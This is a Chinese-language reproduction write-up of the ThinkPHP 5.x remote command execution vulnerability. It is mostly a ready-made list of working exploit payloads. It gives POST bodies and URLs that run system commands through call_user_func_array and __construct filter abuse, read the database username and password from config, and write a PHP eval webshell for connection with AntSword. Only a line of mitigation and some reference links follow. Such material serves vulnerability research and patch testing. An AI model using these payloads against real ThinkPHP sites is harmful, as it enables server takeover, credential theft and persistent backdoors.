ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最先诞生于2006年初,2007年元旦正式改名为ThinkPHP,而且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。而且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。php
因为没有正确处理控制器名,致使在网站没有开启强制路由的状况下(即默认状况下)能够执行任意方法,从而致使远程命令执行漏洞。html
ThinkPHP5 5.0.2 - 5.0.23thinkphp
测试环境:ThinkPHP_5.0.22
ThinkPHP_5.0.22下载
下载完后解压到 phpstudy 的 www 文件夹内
访问 http://127.0.0.1/thinkphp/public/ 可看到页面
shell
一、访问 http://127.0.0.1/thinkphp/public/index.php?s=captcha 并抓包数据库
二、构建 POC 并发包
php7
三、使用蚁剑链接
并发
POC:
经过发包app
POST /thinkphp/public/index.php?s=captcha HTTP/1.1 # 查看当前用户 _method=__construct&filter[]=system&method=get&get[]=whoami # 写入 WebShell(Linux) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['pass']);?>" > 1.php # 写入 WebShell(Windows) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo ^<?php @eval($_POST['pass']);?^> > 1.php
经过 URLthinkphp5
# 查看数据库用户名 http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.username # 查看数据库密码 http://127.0.0.1/thinkphp/public/index.php?s=.|think\config/get&name=database.password # 查看当前用户 http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami # phpinfo index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id http://127.0.0.1/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1 http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
升级到5.0.24及以上,不开启debug模式性能
https://xz.aliyun.com/t/3845
http://www.javashuo.com/article/p-crwcplka-dz.html
https://www.freebuf.com/vuls/194127.html